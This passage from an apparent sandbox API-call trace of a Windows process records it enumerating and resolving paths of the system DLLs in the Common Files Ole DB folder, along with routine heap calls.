lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0199.636] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\*.*", lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbbb59ef4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7990 [0199.637] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbbb59ef4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0199.637] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbbb5aeab, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="en-US", cAlternateFileName="")) returned 1 [0199.637] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6df6f405, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6df6f405, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6df6f405, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="msdadc.dll", cAlternateFileName="")) returned 1 [0199.637] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6df4919a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6df4919a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6df4919a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="msdaenum.dll", cAlternateFileName="")) returned 1 [0199.638] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6df6f405, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6df6f405, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6df6f405, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="msdaer.dll", cAlternateFileName="")) returned 1 [0199.638] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d0d487c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6d0d487c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6d0d487c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x44800, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="msdaora.dll", cAlternateFileName="")) returned 1 [0199.638] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d0d487c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6d0d487c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6d0d487c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="msdaorar.dll", cAlternateFileName="")) returned 1 [0199.638] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d1b96e8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6d1b96e8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6d1b96e8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x14400, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="msdaosp.dll", cAlternateFileName="")) returned 1 [0199.638] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d193481, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6d193481, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6d1b96e8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3d800, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="msdaps.dll", cAlternateFileName="")) returned 1 [0199.638] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6df6f405, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6df6f405, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6df6f405, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="msdasc.dll", cAlternateFileName="")) returned 1 [0199.638] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d22be1e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6d22be1e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6d22be1e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x97000, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="msdasql.dll", cAlternateFileName="")) returned 1 [0199.639] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d22be1e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6d22be1e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6d22be1e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd600, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="msdasqlr.dll", cAlternateFileName="")) returned 1 [0199.639] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d205bba, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6d205bba, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6d205bba, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x19200, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="msdatl3.dll", cAlternateFileName="")) returned 1 [0199.639] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d16d21d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6d16d21d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6d16d21d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="msdatt.dll", cAlternateFileName="")) returned 1 [0199.639] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6df6f405, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6df6f405, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6df6f405, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="msdaurl.dll", cAlternateFileName="")) returned 1 [0199.639] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d22be1e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6d22be1e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6d22be1e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="msxactps.dll", cAlternateFileName="")) returned 1 [0199.639] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d1df94f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6d1df94f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6d1df94f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc5200, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="oledb32.dll", cAlternateFileName="")) returned 1 [0199.639] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d205bba, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6d205bba, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6d205bba, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x13000, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="oledb32r.dll", cAlternateFileName="")) returned 1 [0199.639] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d205bba, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6d205bba, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6d205bba, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x264c, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="oledbjvs.inc", cAlternateFileName="")) returned 1 [0199.640] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d205bba, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6d205bba, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6d205bba, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x26f7, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="oledbvbs.inc", cAlternateFileName="")) returned 1 [0199.640] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d0ae615, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6d0ae615, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6d0ae615, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xbb800, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="sqloledb.dll", cAlternateFileName="")) returned 1 [0199.640] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d0ae615, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6d0ae615, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6d0ae615, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="sqloledb.rll", cAlternateFileName="")) returned 1 [0199.640] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6df6f405, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6df6f405, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6df6f405, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x43000, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="sqlxmlx.dll", cAlternateFileName="")) returned 1 [0199.640] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6df6f405, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6df6f405, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6df6f405, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="sqlxmlx.rll", cAlternateFileName="")) returned 1 [0199.640] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6df6f405, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6df6f405, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6df6f405, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="sqlxmlx.rll", cAlternateFileName="")) returned 0 [0199.640] FindClose (in: hFindFile=0x10f7990 | out: hFindFile=0x10f7990) returned 1 [0199.641] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\en-US" (normalized: "c:\\program files (x86)\\common files\\system\\ole db\\en-us")) returned 0x10 [0199.642] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a868 | out: hHeap=0x2ad0000) returned 1 [0199.642] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0199.642] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\msdadc.dll" (normalized: "c:\\program files (x86)\\common files\\system\\ole db\\msdadc.dll")) returned 0x20 [0199.643] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38876e0 | out: hHeap=0x2ad0000) returned 1 [0199.643] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881288 [0199.643] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\msdaenum.dll" (normalized: "c:\\program files (x86)\\common files\\system\\ole db\\msdaenum.dll")) returned 0x20 [0199.644] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887410 | out: hHeap=0x2ad0000) returned 1 [0199.644] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\msdaer.dll" (normalized: "c:\\program files (x86)\\common files\\system\\ole db\\msdaer.dll")) returned 0x20 [0199.644] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887608 | out: hHeap=0x2ad0000) returned 1 [0199.645] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\msdaora.dll" (normalized: "c:\\program files (x86)\\common files\\system\\ole db\\msdaora.dll")) returned 0x20 [0199.645] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887608 | out: hHeap=0x2ad0000) returned 1 [0199.645] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\msdaorar.dll" (normalized: "c:\\program files (x86)\\common files\\system\\ole db\\msdaorar.dll")) returned 0x20 [0199.645] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887698 | out: hHeap=0x2ad0000) returned 1 [0199.645] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3881288, Size=0x20) returned 0x3733eb8 [0199.645] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\msdaosp.dll" (normalized: "c:\\program files (x86)\\common files\\system\\ole db\\msdaosp.dll")) returned 0x20 [0199.646] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887410 | out: hHeap=0x2ad0000) returned 1 [0199.646] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\msdaps.dll" (normalized: "c:\\program files (x86)\\common files\\system\\ole db\\msdaps.dll")) returned 0x20 [0199.647] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38874a0 | out: hHeap=0x2ad0000) returned 1 [0199.647] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\msdasc.dll" (normalized: "c:\\program files (x86)\\common files\\system\\ole db\\msdasc.dll")) returned 0x20 [0199.648] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887338 | out: hHeap=0x2ad0000) returned 1 [0199.648] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\msdasql.dll" (normalized: "c:\\program files (x86)\\common files\\system\\ole db\\msdasql.dll")) returned 0x20 [0199.648] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887800 | out: hHeap=0x2ad0000) returned 1 [0199.648] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3733eb8, Size=0x40) returned 0x38875c0 [0199.648] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\msdasqlr.dll" (normalized: "c:\\program files (x86)\\common files\\system\\ole db\\msdasqlr.dll")) returned 0x20 [0199.649] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887968 | out: hHeap=0x2ad0000) returned 1 [0199.649] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\msdatl3.dll" (normalized: "c:\\program files (x86)\\common files\\system\\ole db\\msdatl3.dll")) returned 0x20 [0199.650] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887338 | out: hHeap=0x2ad0000) returned 1 [0199.650] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\msdatt.dll" (normalized: "c:\\program files (x86)\\common files\\system\\ole db\\msdatt.dll")) returned 0x20 [0199.650] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38873c8 | out: hHeap=0x2ad0000) returned 1 [0199.650] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\msdaurl.dll" (normalized: "c:\\program files (x86)\\common files\\system\\ole db\\msdaurl.dll")) returned 0x20 [0199.650] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38879b0 | out: hHeap=0x2ad0000) returned 1 [0199.650] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\msxactps.dll" (normalized: "c:\\program files (x86)\\common files\\system\\ole db\\msxactps.dll")) returned 0x20 [0199.651] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887530 | out: hHeap=0x2ad0000) returned 1 [0199.651] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\oledb32.dll" (normalized: "c:\\program files (x86)\\common files\\system\\ole db\\oledb32.dll")) returned 0x20 [0199.651] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887968 | out: hHeap=0x2ad0000) returned 1 [0199.651] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\oledb32r.dll" (normalized: "c:\\program files (x86)\\common files\\system\\ole db\\oledb32r.dll")) returned 0x20 [0199.651] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887728 | out: hHeap=0x2ad0000) returned 1 [0199.652] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files (x86)\\common files\\system\\ole db\\oledbjvs.inc")) returned 0x20 [0199.652] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887380 | out: hHeap=0x2ad0000) returned 1 [0199.652] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x38875c0, Size=0x64) returned 0x2a197a8 [0199.652] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\oledbvbs.inc" (normalized: "c:\\program files (x86)\\common files\\system\\ole db\\oledbvbs.inc")) returned 0x20 [0199.652] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38874a0 | out: hHeap=0x2ad0000) returned 1 [0199.652] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\sqloledb.dll" (normalized: "c:\\program files (x86)\\common files\\system\\ole db\\sqloledb.dll")) returned 0x20 [0199.653] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887410 | out: hHeap=0x2ad0000) returned 1 [0199.653] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\sqloledb.rll" (normalized: "c:\\program files (x86)\\common files\\system\\ole db\\sqloledb.rll")) returned 0x20 [0199.654] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38873c8 | out: hHeap=0x2ad0000) returned 1 [0199.654] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\sqlxmlx.dll" (normalized: "c:\\program files (x86)\\common files\\system\\ole db\\sqlxmlx.dll")) returned 0x20 [0199.654] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38878d8 | out: hHeap=0x2ad0000) returned 1 [0199.654] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\sqlxmlx.rll" (normalized: "c:\\program files (x86)\\common files\\system\\ole db\\sqlxmlx.rll")) returned 0x20 [0199.654] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38875c0 | out: hHeap=0x2ad0000) returned 1 [0199.654] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3734098 | out: hHeap=0x2ad0000) returned 1 [0199.655] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\msdadc.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\msdadc.dll", lpFilePart=0x9bada4*="msdadc.dll") returned 0x3c [0199.655] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0199.655] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\msdaenum.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\msdaenum.dll", lpFilePart=0x9bada4*="msdaenum.dll") returned 0x3e [0199.655] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\msdaer.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\msdaer.dll", lpFilePart=0x9bada4*="msdaer.dll") returned 0x3c [0199.655] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0199.655] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e58 | out: hHeap=0x2ad0000) returned 1 [0199.655] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0199.655] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d78 | out: hHeap=0x2ad0000) returned 1 [0199.656] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\msdaora.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\msdaora.dll", lpFilePart=0x9bada4*="msdaora.dll") returned 0x3d [0199.656] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0199.656] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\msdaorar.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\msdaorar.dll", lpFilePart=0x9bada4*="msdaorar.dll") returned 0x3e [0199.656] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\msdaosp.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\msdaosp.dll", lpFilePart=0x9bada4*="msdaosp.dll") returned 0x3d [0199.656] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0199.656] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0199.656] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0199.656] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0199.657] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\msdaps.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\msdaps.dll", lpFilePart=0x9bada4*="msdaps.dll") returned 0x3c [0199.657] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0199.657] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\msdasc.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: 